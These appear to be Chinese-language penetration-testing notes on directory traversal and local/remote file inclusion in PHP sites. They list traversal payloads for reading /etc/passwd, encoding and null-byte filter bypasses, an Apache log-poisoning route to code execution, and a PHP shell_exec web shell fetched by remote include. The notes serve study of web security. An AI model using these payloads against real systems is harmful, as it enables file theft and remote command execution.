目录遍历
Directory traversal / File include (有区别/没区别)
目录遍历/文件包含
目录遍历:漏洞利用的结果,使用者通过修改url的参数从而可以读取到WEB根目录以外的内容
根源:路径访问权限的设置不严格
文件包含:通过php的include将web目录以外的文件引入到网页中
通俗的来讲可以把文件目录遍历理解为本地文件包含,因为他们的现象以及漏洞验证方法都是一样
文件包含分为1.LFI(本地文件包含;www目录以外的系统文件);2.RFI(远程文件包含)
/etc/php5/cgi/php.ini
allow_url_include = on
重启apache
允许远程包含URL
特征但不绝对
?page=a.php
?home=b.html
?file=content
测试方法
本地文件包含:
?file=../../../../etc/passwd
?page=file:///etc/passwd
?home=main.cgi
远程文件包含:
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
编码绕过字符过滤
“.” “%00”绕过文件扩展名过滤
?file=a.doc%00.php
使用多种编码尝试
不同操作系统的路径
类unix系统
根目录: /
目录层级分隔符: / " /a/b/c/"
windows系统
C:\a\b\c
\ 或 /
编码
url编码;多层url编码
%2e%2e%2f ../
%2e%2e%5c ..\
%252e%252e%255c ../
Unicode/UTF-8
..%c0%af
..%u2216
..%c1%9
本地文件包含lfi
1.查看文件:
2.代码执行
当/var/log/apache/access.log目录可执行的情况下
用nc 1.1.1.1 80连接到80端口
<?php echo shell_exec($GET['cmd']);?>
插到access.log中
远程文件包含:
hthttp://tp://1.1.1.1/1.txt&cmd=ls
<?php echo shell_exec($_GET['cmd']);?>
/usr/share/wfuzz/wordlist/injections/traversal.txt